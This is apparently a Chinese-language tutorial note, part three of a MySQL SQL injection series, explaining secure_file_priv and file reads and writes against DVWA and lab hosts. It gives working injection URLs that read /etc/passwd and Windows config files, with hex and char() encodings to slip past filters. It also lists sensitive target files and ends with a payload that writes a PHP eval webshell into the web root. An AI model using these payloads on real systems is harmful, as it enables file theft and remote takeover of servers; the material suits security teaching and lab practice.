WEB安全之:Mysql 数据库 SQL 注入(三)
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Mysql 数据库 SQL 注入(三)
4 secure_file_priv
:文件读写操作
- 新版浏览器可能需要查看页面源码才可以看到完整文件信息
原理:
-
Mysql 新特性
secure_file_priv
用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()
传到哪个指定目录的。 -
secure_file_priv
参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。- NULL :默认,表示限制 Mysql 不允许导入导出。
- /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
- 空值:表示不限制 Mysql 的导入|导出
-
可以通过命令查看这个属性
select @@secure_file_priv
-
若 Mysql + PHP 架构,PHP 配置文件 php.ini 中的 gpc 参数也会影响写入文件 :
- gpc 开启:特殊字符都会被转义,如:
'
转义为\'
,此时需要对输入做转义
- gpc 开启:特殊字符都会被转义,如:
4.1 LOAD_FILE() 读文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
-
必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0
:- 如果结果返回正常,说明具有读写权限。
- 返回错误,应该是管理员给数据库帐户降权
-
预读取文件必须在服务器上
-
必须指定文件完整的路径
-
预读取文件必须小于
max_allowed_packet
# linux:
# 方式一
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file('/etc/passwd')-- &Submit=Submit#
# 方式二,对 /etc/passwd 进行16进制编码
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file(0x2f6574632f706173737764)-- &Submit=Submit#
# 方式三
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file((char(47,101,116,99,47,112,97,115,115,119,100)))-- &Submit=Submit#
# windows:
# 方式一
?id=-1 union select null,null,load_file('C:\\inetpub\\wwwroot\\lab.com\\index.php')
# 方式二
?id=-1 union select null,null,load_file('C:/inetpub/wwwroot/lab.com/index.php')
# 方式三:对 C:/inetpub/wwwroot/lab.com/index.php 进行16进制编码
?id=-1 union select null,null,load_file(0x433a2f696e65747075622f777777726f6f742f6c61622e636f6d2f696e6465782e706870)
4.1.1 系统常用目录文件
- Linux 下
load_file(char(47))
#可以列出 FreeBSD, Sunos 系统根目录
# apache配置文件
/etc/httpd/conf/httpd.conf
# apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
# 虚拟网站设置
/usr/local/apache2/conf/extra/httpd-vhosts.conf
# PHP相关设置
/usr/local/php5/lib/php.ini
# 从中得到防火墙规则策略
/etc/sysconfig/iptables
# mysql的配置文件
/etc/my.cnf
# 系统版本
/etc/redhat-release
- Windows 下
# php配置信息
C:\Windows\php.ini
# MYSQL 配置文件,记录管理员登陆过的 MYSQL 用户名和密码
C:\Program Files\mysql\my.ini
# 查看IIS的虚拟主机配置
C:\WINDOWS\system32\inetsrv\MetaBase.xml
# 查看Windows系统Apache配置文件
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\apache\conf\httpd.conf
D:\APACHE\Apache2\conf\httpd.conf
4.2 LOAD DATA INFILE
导入文件内容到数据库
LOAD DATA INFILE
语句用于从文本文件中读取行,并装入数据库一个表中。
利用方式:
- 注入过程中,当你拥有数据库的权限时,可以将关键系统文件(配置文件,密码文件等)利用
load data infile
导入到数据库中。
LOAD DATA INFILE '/tmp/text.txt' INTO TABLE test.tb1 FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' ESCAPED BY '#' LINES TERMINATED BY '\n'
4.3 into outfile/dumpfile
写入文件
into outfile
:将查询数据输出保存到一个文件中,数据之前存在tab
空格。into dumpfile
:将查询数据输出保存到一个文件中,没有空格。
http://lab.com/article.php?id=-1 union select 1,'<?php phpinfo();eval($_POST[\'cmd\']);?>',3 into dumpfile 'C:\\inetpub\\wwwroot\\lab.com\\webshell.php'